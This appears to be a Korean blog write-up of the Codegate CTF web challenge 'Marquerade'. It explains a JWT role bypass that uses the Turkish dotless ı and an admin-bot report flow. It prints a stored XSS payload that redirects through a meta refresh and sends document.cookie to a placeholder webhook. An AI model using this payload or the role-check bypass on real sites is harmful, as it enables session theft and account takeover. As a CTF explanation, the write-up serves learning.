Codegate CTF - Marquerade

mercure·2025년 4월 3일

CTF

목록 보기
3/3

/Register 후 화면

uuid / MEMBER

JWT 문제임을 코드상에서 확인할 수 있었다 따라서

JWT.io 에서 디코딩해보았다

role 과 hasperm 에 대하여 정리하면 아래와 같다.

role = "ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"
hasPerm : 글 쓸 권한

inspector의 경우 신고를 통해 글을 지울 수 있다.
지우는 과정에서 uuid: {flag} , admin 권한을 가진 쿠키를 든 봇이 방문하여 삭제한다.
글에 xss 를 삽입하여 쿠키를 webhook으로 빼낸후 jwt 디코딩을 통해 flag를 얻을 수 있을 것같다.

그럼 우선 글 쓸 권한과 inspector 가 될 방법을 찾아야한다.

inspector는 i -> ı (터키어) 로 우회가 가능했다. 그럼 글 쓸 권한을 얻으면 된다.

admin 도 마찬가지로 i -> ı (터키어) 로 우회가 가능했다.

admin권한을 얻어 내 uuid에 write permission을 부여하였다.

이제 inspector이 권한과 글 쓸 권한을 얻을 방법을 찾았다. 신고를 통해 flag가 든 jwt를 탈취하는 xss payload만 작성하면 된다.

아래의 페이로드로 글을 적는다.

payload

<meta/http-equiv="refresh"/content="0; url=/admin/test/?title=a&content=%3Cimg%20src=x%20onerror=window.location=`{webhook}?${{document.cookie}}`%3E">

/report/83722d36-e91e-47ed-b600-eb5f4f134e57

post-id를 추출해 여기로 get요청을 보내면 webhook으로 jwt가 온다.

이를 해독하면 플래그를 얻을 수 있었다.

profile
하루에 한걸음씩

0개의 댓글